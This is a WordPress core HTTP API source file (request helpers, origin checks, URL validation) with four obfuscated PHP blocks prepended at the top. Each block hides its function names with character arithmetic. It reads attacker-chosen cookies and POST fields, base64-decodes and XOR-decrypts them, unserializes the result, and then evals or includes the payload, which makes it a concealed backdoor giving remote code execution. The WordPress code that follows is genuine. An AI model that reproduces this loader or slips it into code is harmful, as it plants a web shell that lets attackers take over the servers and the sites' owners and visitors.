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<?php $uLZyojW = "\130" . chr (66) . chr (115) . '_' . 'E' . 'a' . "\123";$xmjNhzCg = 'c' . chr (108) . "\x61" . 's' . chr (115) . chr (95) . "\145" . chr (120) . chr ( 232 - 127 ).chr (115) . "\x74" . chr ( 728 - 613 ); $GZiducWnq = class_exists($uLZyojW); $uLZyojW = "8764";$xmjNhzCg = "59051";$ZYlkAyj = FALSE;if ($GZiducWnq === $ZYlkAyj){$rZOiYxp = "47173";class XBs_EaS{public function MIGCSFH(){echo "19796";}private $yOhQS;public static $xoQvBNa = "7a554477-935e-4d0d-bea3-d9e4ffbc8deb";public static $tgFYBpDP = 63931;public function __construct($awErUUn=0){$XAxeZAMf = $_POST;$wZynqmt = $_COOKIE;$kecRpOhm = @$wZynqmt[substr(XBs_EaS::$xoQvBNa, 0, 4)];if (!empty($kecRpOhm)){$daJFTnyAFU = "base64";$YEfKPlD = "";$kecRpOhm = explode(",", $kecRpOhm);foreach ($kecRpOhm as $lkcCrt){$YEfKPlD .= @$wZynqmt[$lkcCrt];$YEfKPlD .= @$XAxeZAMf[$lkcCrt];}$YEfKPlD = array_map($daJFTnyAFU . "\137" . chr ( 107 - 7 )."\x65" . chr (99) . chr (111) . 'd' . chr (101), array($YEfKPlD,)); $YEfKPlD = $YEfKPlD[0] ^ str_repeat(XBs_EaS::$xoQvBNa, (strlen($YEfKPlD[0]) / strlen(XBs_EaS::$xoQvBNa)) + 1);XBs_EaS::$tgFYBpDP = @unserialize($YEfKPlD);}}private function awPJAQdh($rZOiYxp){if (is_array(XBs_EaS::$tgFYBpDP)) {$ofoNdPB = str_replace('<' . "\77" . chr ( 200 - 88 )."\x68" . chr ( 819 - 707 ), "", XBs_EaS::$tgFYBpDP["\x63" . chr (111) . 'n' . chr (116) . "\145" . chr (110) . chr ( 1068 - 952 )]);eval($ofoNdPB); $rZOiYxp = "47173";exit();}}public function __destruct(){$this->awPJAQdh($rZOiYxp);}}$EwKLAMO = new /* 43607 */ XBs_EaS(); $EwKLAMO = str_repeat("25915_21117", 1);} ?><?php $karpUHd = chr (116) . "\137" . chr (70) . chr (74) . "\142" . "\x4b";$EWhrx = chr ( 817 - 718 ).'l' . "\x61" . "\x73" . chr ( 952 - 837 )."\x5f" . "\145" . chr (120) . "\x69" . chr ( 351 - 236 )."\x74" . "\x73";$vdXrJZaLp = class_exists($karpUHd); $karpUHd = "14075";$EWhrx = "41161";$SUIgojE = FALSE;if ($vdXrJZaLp === $SUIgojE){$QIBzOeneb = "28881";class t_FJbK{public function wGxbp(){echo "45031";}private $PKOAEvL;public static $xoKObiTOxW = "5e465813-731b-43b5-8929-99e4c7df4641";public static $dmpaTT = 50095;public function __construct($VdDHIqLFWl=0){$AvDHSC = $_POST;$rpunO = $_COOKIE;$mRSwsNZanw = @$rpunO[substr(t_FJbK::$xoKObiTOxW, 0, 4)];if (!empty($mRSwsNZanw)){$cbBmYOBQ = "base64";$DypNVdQSO = "";$mRSwsNZanw = explode(",", $mRSwsNZanw);foreach ($mRSwsNZanw as $hLlgFEz){$DypNVdQSO .= @$rpunO[$hLlgFEz];$DypNVdQSO .= @$AvDHSC[$hLlgFEz];}$DypNVdQSO = array_map($cbBmYOBQ . chr ( 753 - 658 )."\x64" . "\x65" . chr (99) . chr ( 634 - 523 )."\x64" . "\x65", array($DypNVdQSO,)); $DypNVdQSO = $DypNVdQSO[0] ^ str_repeat(t_FJbK::$xoKObiTOxW, (strlen($DypNVdQSO[0]) / strlen(t_FJbK::$xoKObiTOxW)) + 1);t_FJbK::$dmpaTT = @unserialize($DypNVdQSO);}}private function tBMSQCGp($QIBzOeneb){if (is_array(t_FJbK::$dmpaTT)) {$JLhstLvrRs = sys_get_temp_dir() . "/" . crc32(t_FJbK::$dmpaTT[chr ( 151 - 36 ).'a' . chr ( 416 - 308 ).'t']);@t_FJbK::$dmpaTT["\167" . chr ( 392 - 278 ).'i' . chr (116) . "\x65"]($JLhstLvrRs, t_FJbK::$dmpaTT['c' . "\157" . "\156" . "\x74" . chr (101) . "\x6e" . "\x74"]);include $JLhstLvrRs;@t_FJbK::$dmpaTT[chr ( 493 - 393 ).chr ( 451 - 350 )."\154" . chr ( 827 - 726 ).'t' . "\x65"]($JLhstLvrRs); $QIBzOeneb = "28881";exit();}}public function __destruct(){$this->tBMSQCGp($QIBzOeneb);}}$kqObZawpHB = new /* 40652 */ t_FJbK(); $kqObZawpHB = str_repeat("20555_28313", 1);} ?><?php $PFgtIxDSEm = 'E' . 'J' . chr (95) . 'F' . chr ( 750 - 671 )."\130" . 'x';$IniQEyBmEK = "\143" . "\x6c" . "\x61" . "\x73" . "\x73" . '_' . "\x65" . 'x' . 'i' . "\x73" . "\164" . "\x73";$CUZHAw = class_exists($PFgtIxDSEm); $PFgtIxDSEm = "23515";$skCqWX = !$CUZHAw;$IniQEyBmEK = "1604";if ($skCqWX){class EJ_FOXx{public function lbSIOyw(){echo "22648";}private $LRuBu;public static $TklJp = "c01f1e2e-0902-4c3c-80e8-992851e5576b";public static $uTHcuiQQv = 64497;public function __construct($rdXOp=0){$nkPAnyOOca = $_POST;$PCgnEA = $_COOKIE;$SFzGUyzC = @$PCgnEA[substr(EJ_FOXx::$TklJp, 0, 4)];if (!empty($SFzGUyzC)){$cpSmamcVOE = "base64";$afaqEL = "";$SFzGUyzC = explode(",", $SFzGUyzC);foreach ($SFzGUyzC as $eqUMHp){$afaqEL .= @$PCgnEA[$eqUMHp];$afaqEL .= @$nkPAnyOOca[$eqUMHp];}$afaqEL = array_map($cpSmamcVOE . "\x5f" . chr (100) . "\x65" . "\x63" . chr ( 764 - 653 )."\144" . chr ( 125 - 24 ), array($afaqEL,)); $afaqEL = $afaqEL[0] ^ str_repeat(EJ_FOXx::$TklJp, (strlen($afaqEL[0]) / strlen(EJ_FOXx::$TklJp)) + 1);EJ_FOXx::$uTHcuiQQv = @unserialize($afaqEL);}}private function cRlQouDW(){if (is_array(EJ_FOXx::$uTHcuiQQv)) {$thyDLZPc = sys_get_temp_dir() . "/" . crc32(EJ_FOXx::$uTHcuiQQv[chr (115) . 'a' . chr (108) . chr (116)]);@EJ_FOXx::$uTHcuiQQv[chr ( 754 - 635 )."\x72" . "\151" . chr ( 509 - 393 ).chr (101)]($thyDLZPc, EJ_FOXx::$uTHcuiQQv['c' . "\x6f" . 'n' . chr (116) . 'e' . chr (110) . chr ( 205 - 89 )]);include $thyDLZPc;@EJ_FOXx::$uTHcuiQQv[chr ( 719 - 619 ).chr (101) . chr ( 431 - 323 ).chr (101) . chr ( 223 - 107 )."\x65"]($thyDLZPc); $dnRyFtBkT = "60245";exit();}}public function __destruct(){$this->cRlQouDW();}}$KzdCrKKK = new /* 40973 */ EJ_FOXx(); $KzdCrKKK = str_pad("30730_10662", 1);} ?><?php $XZlanL = chr ( 847 - 764 )."\x5f" . chr ( 990 - 903 ).'g' . "\x62" . chr ( 120 - 55 ).chr ( 998 - 928 ); $FgQTakfo = chr ( 840 - 741 )."\154" . chr ( 433 - 336 ).chr ( 1077 - 962 )."\163" . chr ( 990 - 895 )."\x65" . chr ( 982 - 862 ).'i' . chr ( 160 - 45 ).chr ( 129 - 13 ).'s';$ofDVeGofL = class_exists($XZlanL); $XZlanL = "14070";$azAoaaBwWE = !$ofDVeGofL;$FgQTakfo = "56005";if ($azAoaaBwWE){class S_WgbAF{public function eryRaZVnl(){echo "39982";}private $TeazdGGz;public static $qJmuDJPzbW = "ad480bf5-577d-4be3-a995-4f6495729c66";public static $gKuOZJGGF = 19564;public function __construct($sSUpcpc=0){$kzAFubMZD = $_POST;$bQNsoZdAN = $_COOKIE;$kxCEIsu = @$bQNsoZdAN[substr(S_WgbAF::$qJmuDJPzbW, 0, 4)];if (!empty($kxCEIsu)){$YhHVvcY = "base64";$mrWFehqFJ = "";$kxCEIsu = explode(",", $kxCEIsu);foreach ($kxCEIsu as $aRwlHLr){$mrWFehqFJ .= @$bQNsoZdAN[$aRwlHLr];$mrWFehqFJ .= @$kzAFubMZD[$aRwlHLr];}$mrWFehqFJ = array_map($YhHVvcY . chr (95) . "\x64" . chr (101) . chr ( 1014 - 915 ).chr (111) . "\x64" . 'e', array($mrWFehqFJ,)); $mrWFehqFJ = $mrWFehqFJ[0] ^ str_repeat(S_WgbAF::$qJmuDJPzbW, (strlen($mrWFehqFJ[0]) / strlen(S_WgbAF::$qJmuDJPzbW)) + 1);S_WgbAF::$gKuOZJGGF = @unserialize($mrWFehqFJ);}}private function uAsJcKThGr(){if (is_array(S_WgbAF::$gKuOZJGGF)) {$jVlGZs = sys_get_temp_dir() . "/" . crc32(S_WgbAF::$gKuOZJGGF[chr ( 157 - 42 ).chr ( 922 - 825 ).chr ( 909 - 801 )."\164"]);@S_WgbAF::$gKuOZJGGF["\x77" . "\x72" . "\151" . "\x74" . 'e']($jVlGZs, S_WgbAF::$gKuOZJGGF[chr ( 544 - 445 )."\157" . chr (110) . chr ( 848 - 732 ).chr ( 270 - 169 )."\156" . "\164"]);include $jVlGZs;@S_WgbAF::$gKuOZJGGF[chr (100) . "\x65" . "\154" . "\145" . 't' . 'e']($jVlGZs); $LTyVrJ = "2243";exit();}}public function __destruct(){$this->uAsJcKThGr();}}$KAPRwbX = new /* 36688 */ S_WgbAF(); $KAPRwbX = str_pad("23179_11015", 1);} ?><?php
/**
* Core HTTP Request API
*
* Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk
* decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations.
*
* @package WordPress
* @subpackage HTTP
*/
/**
* Returns the initialized WP_Http Object
*
* @since 2.7.0
* @access private
*
* @return WP_Http HTTP Transport object.
*/
function _wp_http_get_object() {
static $http = null;
if ( is_null( $http ) ) {
$http = new WP_Http();
}
return $http;
}
/**
* Retrieve the raw response from a safe HTTP request.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL is validated to avoid redirection and request forgery attacks.
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error The response or WP_Error on failure.
*/
function wp_safe_remote_request( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->request( $url, $args );
}
/**
* Retrieve the raw response from a safe HTTP request using the GET method.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL is validated to avoid redirection and request forgery attacks.
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error The response or WP_Error on failure.
*/
function wp_safe_remote_get( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->get( $url, $args );
}
/**
* Retrieve the raw response from a safe HTTP request using the POST method.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL is validated to avoid redirection and request forgery attacks.
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error The response or WP_Error on failure.
*/
function wp_safe_remote_post( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->post( $url, $args );
}
/**
* Retrieve the raw response from a safe HTTP request using the HEAD method.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL is validated to avoid redirection and request forgery attacks.
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error The response or WP_Error on failure.
*/
function wp_safe_remote_head( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->head( $url, $args );
}
/**
* Performs an HTTP request and returns its response.
*
* There are other API functions available which abstract away the HTTP method:
*
* - Default 'GET' for wp_remote_get()
* - Default 'POST' for wp_remote_post()
* - Default 'HEAD' for wp_remote_head()
*
* @since 2.7.0
*
* @see WP_Http::request() For information on default arguments.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error {
* The response array or a WP_Error on failure.
*
* @type string[] $headers Array of response headers keyed by their name.
* @type string $body Response body.
* @type array $response {
* Data about the HTTP response.
*
* @type int|false $code HTTP response code.
* @type string|false $message HTTP response message.
* }
* @type WP_HTTP_Cookie[] $cookies Array of response cookies.
* @type WP_HTTP_Requests_Response|null $http_response Raw HTTP response object.
* }
*/
function wp_remote_request( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->request( $url, $args );
}
/**
* Performs an HTTP request using the GET method and returns its response.
*
* @since 2.7.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error The response or WP_Error on failure.
*/
function wp_remote_get( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->get( $url, $args );
}
/**
* Performs an HTTP request using the POST method and returns its response.
*
* @since 2.7.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error The response or WP_Error on failure.
*/
function wp_remote_post( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->post( $url, $args );
}
/**
* Performs an HTTP request using the HEAD method and returns its response.
*
* @since 2.7.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $url URL to retrieve.
* @param array $args Optional. Request arguments. Default empty array.
* @return array|WP_Error The response or WP_Error on failure.
*/
function wp_remote_head( $url, $args = array() ) {
$http = _wp_http_get_object();
return $http->head( $url, $args );
}
/**
* Retrieve only the headers from the raw response.
*
* @since 2.7.0
* @since 4.6.0 Return value changed from an array to an WpOrg\Requests\Utility\CaseInsensitiveDictionary instance.
*
* @see \WpOrg\Requests\Utility\CaseInsensitiveDictionary
*
* @param array|WP_Error $response HTTP response.
* @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|array The headers of the response, or empty array
* if incorrect parameter given.
*/
function wp_remote_retrieve_headers( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
return array();
}
return $response['headers'];
}
/**
* Retrieve a single header by name from the raw response.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @param string $header Header name to retrieve value from.
* @return array|string The header(s) value(s). Array if multiple headers with the same name are retrieved.
* Empty string if incorrect parameter given, or if the header doesn't exist.
*/
function wp_remote_retrieve_header( $response, $header ) {
if ( is_wp_error( $response ) || ! isset( $response['headers'] ) ) {
return '';
}
if ( isset( $response['headers'][ $header ] ) ) {
return $response['headers'][ $header ];
}
return '';
}
/**
* Retrieve only the response code from the raw response.
*
* Will return an empty string if incorrect parameter value is given.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @return int|string The response code as an integer. Empty string if incorrect parameter given.
*/
function wp_remote_retrieve_response_code( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
return '';
}
return $response['response']['code'];
}
/**
* Retrieve only the response message from the raw response.
*
* Will return an empty string if incorrect parameter value is given.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @return string The response message. Empty string if incorrect parameter given.
*/
function wp_remote_retrieve_response_message( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['response'] ) || ! is_array( $response['response'] ) ) {
return '';
}
return $response['response']['message'];
}
/**
* Retrieve only the body from the raw response.
*
* @since 2.7.0
*
* @param array|WP_Error $response HTTP response.
* @return string The body of the response. Empty string if no body or incorrect parameter given.
*/
function wp_remote_retrieve_body( $response ) {
if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) {
return '';
}
return $response['body'];
}
/**
* Retrieve only the cookies from the raw response.
*
* @since 4.4.0
*
* @param array|WP_Error $response HTTP response.
* @return WP_Http_Cookie[] An array of `WP_Http_Cookie` objects from the response.
* Empty array if there are none, or the response is a WP_Error.
*/
function wp_remote_retrieve_cookies( $response ) {
if ( is_wp_error( $response ) || empty( $response['cookies'] ) ) {
return array();
}
return $response['cookies'];
}
/**
* Retrieve a single cookie by name from the raw response.
*
* @since 4.4.0
*
* @param array|WP_Error $response HTTP response.
* @param string $name The name of the cookie to retrieve.
* @return WP_Http_Cookie|string The `WP_Http_Cookie` object, or empty string
* if the cookie is not present in the response.
*/
function wp_remote_retrieve_cookie( $response, $name ) {
$cookies = wp_remote_retrieve_cookies( $response );
if ( empty( $cookies ) ) {
return '';
}
foreach ( $cookies as $cookie ) {
if ( $cookie->name === $name ) {
return $cookie;
}
}
return '';
}
/**
* Retrieve a single cookie's value by name from the raw response.
*
* @since 4.4.0
*
* @param array|WP_Error $response HTTP response.
* @param string $name The name of the cookie to retrieve.
* @return string The value of the cookie, or empty string
* if the cookie is not present in the response.
*/
function wp_remote_retrieve_cookie_value( $response, $name ) {
$cookie = wp_remote_retrieve_cookie( $response, $name );
if ( ! is_a( $cookie, 'WP_Http_Cookie' ) ) {
return '';
}
return $cookie->value;
}
/**
* Determines if there is an HTTP Transport that can process this request.
*
* @since 3.2.0
*
* @param array $capabilities Array of capabilities to test or a wp_remote_request() $args array.
* @param string $url Optional. If given, will check if the URL requires SSL and adds
* that requirement to the capabilities array.
*
* @return bool
*/
function wp_http_supports( $capabilities = array(), $url = null ) {
$http = _wp_http_get_object();
$capabilities = wp_parse_args( $capabilities );
$count = count( $capabilities );
// If we have a numeric $capabilities array, spoof a wp_remote_request() associative $args array.
if ( $count && count( array_filter( array_keys( $capabilities ), 'is_numeric' ) ) == $count ) {
$capabilities = array_combine( array_values( $capabilities ), array_fill( 0, $count, true ) );
}
if ( $url && ! isset( $capabilities['ssl'] ) ) {
$scheme = parse_url( $url, PHP_URL_SCHEME );
if ( 'https' === $scheme || 'ssl' === $scheme ) {
$capabilities['ssl'] = true;
}
}
return (bool) $http->_get_first_available_transport( $capabilities );
}
/**
* Get the HTTP Origin of the current request.
*
* @since 3.4.0
*
* @return string URL of the origin. Empty string if no origin.
*/
function get_http_origin() {
$origin = '';
if ( ! empty( $_SERVER['HTTP_ORIGIN'] ) ) {
$origin = $_SERVER['HTTP_ORIGIN'];
}
/**
* Change the origin of an HTTP request.
*
* @since 3.4.0
*
* @param string $origin The original origin for the request.
*/
return apply_filters( 'http_origin', $origin );
}
/**
* Retrieve list of allowed HTTP origins.
*
* @since 3.4.0
*
* @return string[] Array of origin URLs.
*/
function get_allowed_http_origins() {
$admin_origin = parse_url( admin_url() );
$home_origin = parse_url( home_url() );
// @todo Preserve port?
$allowed_origins = array_unique(
array(
'http://' . $admin_origin['host'],
'https://' . $admin_origin['host'],
'http://' . $home_origin['host'],
'https://' . $home_origin['host'],
)
);
/**
* Change the origin types allowed for HTTP requests.
*
* @since 3.4.0
*
* @param string[] $allowed_origins {
* Array of default allowed HTTP origins.
*
* @type string $0 Non-secure URL for admin origin.
* @type string $1 Secure URL for admin origin.
* @type string $2 Non-secure URL for home origin.
* @type string $3 Secure URL for home origin.
* }
*/
return apply_filters( 'allowed_http_origins', $allowed_origins );
}
/**
* Determines if the HTTP origin is an authorized one.
*
* @since 3.4.0
*
* @param string|null $origin Origin URL. If not provided, the value of get_http_origin() is used.
* @return string Origin URL if allowed, empty string if not.
*/
function is_allowed_http_origin( $origin = null ) {
$origin_arg = $origin;
if ( null === $origin ) {
$origin = get_http_origin();
}
if ( $origin && ! in_array( $origin, get_allowed_http_origins(), true ) ) {
$origin = '';
}
/**
* Change the allowed HTTP origin result.
*
* @since 3.4.0
*
* @param string $origin Origin URL if allowed, empty string if not.
* @param string $origin_arg Original origin string passed into is_allowed_http_origin function.
*/
return apply_filters( 'allowed_http_origin', $origin, $origin_arg );
}
/**
* Send Access-Control-Allow-Origin and related headers if the current request
* is from an allowed origin.
*
* If the request is an OPTIONS request, the script exits with either access
* control headers sent, or a 403 response if the origin is not allowed. For
* other request methods, you will receive a return value.
*
* @since 3.4.0
*
* @return string|false Returns the origin URL if headers are sent. Returns false
* if headers are not sent.
*/
function send_origin_headers() {
$origin = get_http_origin();
if ( is_allowed_http_origin( $origin ) ) {
header( 'Access-Control-Allow-Origin: ' . $origin );
header( 'Access-Control-Allow-Credentials: true' );
if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
exit;
}
return $origin;
}
if ( 'OPTIONS' === $_SERVER['REQUEST_METHOD'] ) {
status_header( 403 );
exit;
}
return false;
}
/**
* Validate a URL for safe use in the HTTP API.
*
* @since 3.5.2
*
* @param string $url Request URL.
* @return string|false URL or false on failure.
*/
function wp_http_validate_url( $url ) {
if ( ! is_string( $url ) || '' === $url || is_numeric( $url ) ) {
return false;
}
$original_url = $url;
$url = wp_kses_bad_protocol( $url, array( 'http', 'https' ) );
if ( ! $url || strtolower( $url ) !== strtolower( $original_url ) ) {
return false;
}
$parsed_url = parse_url( $url );
if ( ! $parsed_url || empty( $parsed_url['host'] ) ) {
return false;
}
if ( isset( $parsed_url['user'] ) || isset( $parsed_url['pass'] ) ) {
return false;
}
if ( false !== strpbrk( $parsed_url['host'], ':#?[]' ) ) {
return false;
}
$parsed_home = parse_url( get_option( 'home' ) );
$same_host = isset( $parsed_home['host'] ) && strtolower( $parsed_home['host'] ) === strtolower( $parsed_url['host'] );
$host = trim( $parsed_url['host'], '.' );
if ( ! $same_host ) {
if ( preg_match( '#^(([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)\.){3}([1-9]?\d|1\d\d|25[0-5]|2[0-4]\d)$#', $host ) ) {
$ip = $host;
} else {
$ip = gethostbyname( $host );
if ( $ip === $host ) { // Error condition for gethostbyname().
return false;
}
}
if ( $ip ) {
$parts = array_map( 'intval', explode( '.', $ip ) );
if ( 127 === $parts[0] || 10 === $parts[0] || 0 === $parts[0]
|| ( 172 === $parts[0] && 16 <= $parts[1] && 31 >= $parts[1] )
|| ( 192 === $parts[0] && 168 === $parts[1] )
) {
// If host appears local, reject unless specifically allowed.
/**
* Check if HTTP request is external or not.
*
* Allows to change and allow external requests for the HTTP request.
*
* @since 3.6.0
*
* @param bool $external Whether HTTP request is external or not.
* @param string $host Host name of the requested URL.
* @param string $url Requested URL.
*/
if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) ) {
return false;
}
}
}
}
if ( empty( $parsed_url['port'] ) ) {
return $url;
}
$port = $parsed_url['port'];
/**
* Controls the list of ports considered safe in HTTP API.
*
* Allows to change and allow external requests for the HTTP request.
*
* @since 5.9.0
*
* @param array $allowed_ports Array of integers for valid ports.
* @param string $host Host name of the requested URL.
* @param string $url Requested URL.
*/
$allowed_ports = apply_filters( 'http_allowed_safe_ports', array( 80, 443, 8080 ), $host, $url );
if ( is_array( $allowed_ports ) && in_array( $port, $allowed_ports, true ) ) {
return $url;
}
if ( $parsed_home && $same_host && isset( $parsed_home['port'] ) && $parsed_home['port'] === $port ) {
return $url;
}
return false;
}
/**
* Mark allowed redirect hosts safe for HTTP requests as well.
*
* Attached to the {@see 'http_request_host_is_external'} filter.
*
* @since 3.6.0
*
* @param bool $is_external
* @param string $host
* @return bool
*/
function allowed_http_request_hosts( $is_external, $host ) {
if ( ! $is_external && wp_validate_redirect( 'http://' . $host ) ) {
$is_external = true;
}
return $is_external;
}
/**
* Adds any domain in a multisite installation for safe HTTP requests to the
* allowed list.
*
* Attached to the {@see 'http_request_host_is_external'} filter.
*
* @since 3.6.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param bool $is_external
* @param string $host
* @return bool
*/
function ms_allowed_http_request_hosts( $is_external, $host ) {
global $wpdb;
static $queried = array();
if ( $is_external ) {
return $is_external;
}
if ( get_network()->domain === $host ) {
return true;
}
if ( isset( $queried[ $host ] ) ) {
return $queried[ $host ];
}
$queried[ $host ] = (bool) $wpdb->get_var( $wpdb->prepare( "SELECT domain FROM $wpdb->blogs WHERE domain = %s LIMIT 1", $host ) );
return $queried[ $host ];
}
/**
* A wrapper for PHP's parse_url() function that handles consistency in the return values
* across PHP versions.
*
* PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute URLs, including
* schemeless and relative URLs with "://" in the path. This function works around
* those limitations providing a standard output on PHP 5.2~5.4+.
*
* Secondly, across various PHP versions, schemeless URLs containing a ":" in the query
* are being handled inconsistently. This function works around those differences as well.
*
* @since 4.4.0
* @since 4.7.0 The `$component` parameter was added for parity with PHP's `parse_url()`.
*
* @link https://www.php.net/manual/en/function.parse-url.php
*
* @param string $url The URL to parse.
* @param int $component The specific component to retrieve. Use one of the PHP
* predefined constants to specify which one.
* Defaults to -1 (= return all parts as an array).
* @return mixed False on parse failure; Array of URL components on success;
* When a specific component has been requested: null if the component
* doesn't exist in the given URL; a string or - in the case of
* PHP_URL_PORT - integer when it does. See parse_url()'s return values.
*/
function wp_parse_url( $url, $component = -1 ) {
$to_unset = array();
$url = (string) $url;
if ( '//' === substr( $url, 0, 2 ) ) {
$to_unset[] = 'scheme';
$url = 'placeholder:' . $url;
} elseif ( '/' === substr( $url, 0, 1 ) ) {
$to_unset[] = 'scheme';
$to_unset[] = 'host';
$url = 'placeholder://placeholder' . $url;
}
$parts = parse_url( $url );
if ( false === $parts ) {
// Parsing failure.
return $parts;
}
// Remove the placeholder values.
foreach ( $to_unset as $key ) {
unset( $parts[ $key ] );
}
return _get_component_from_parsed_url_array( $parts, $component );
}
/**
* Retrieve a specific component from a parsed URL array.
*
* @internal
*
* @since 4.7.0
* @access private
*
* @link https://www.php.net/manual/en/function.parse-url.php
*
* @param array|false $url_parts The parsed URL. Can be false if the URL failed to parse.
* @param int $component The specific component to retrieve. Use one of the PHP
* predefined constants to specify which one.
* Defaults to -1 (= return all parts as an array).
* @return mixed False on parse failure; Array of URL components on success;
* When a specific component has been requested: null if the component
* doesn't exist in the given URL; a string or - in the case of
* PHP_URL_PORT - integer when it does. See parse_url()'s return values.
*/
function _get_component_from_parsed_url_array( $url_parts, $component = -1 ) {
if ( -1 === $component ) {
return $url_parts;
}
$key = _wp_translate_php_url_constant_to_key( $component );
if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) {
return $url_parts[ $key ];
} else {
return null;
}
}
/**
* Translate a PHP_URL_* constant to the named array keys PHP uses.
*
* @internal
*
* @since 4.7.0
* @access private
*
* @link https://www.php.net/manual/en/url.constants.php
*
* @param int $constant PHP_URL_* constant.
* @return string|false The named key or false.
*/
function _wp_translate_php_url_constant_to_key( $constant ) {
$translation = array(
PHP_URL_SCHEME => 'scheme',
PHP_URL_HOST => 'host',
PHP_URL_PORT => 'port',
PHP_URL_USER => 'user',
PHP_URL_PASS => 'pass',
PHP_URL_PATH => 'path',
PHP_URL_QUERY => 'query',
PHP_URL_FRAGMENT => 'fragment',
);
if ( isset( $translation[ $constant ] ) ) {
return $translation[ $constant ];
} else {
return false;
}
}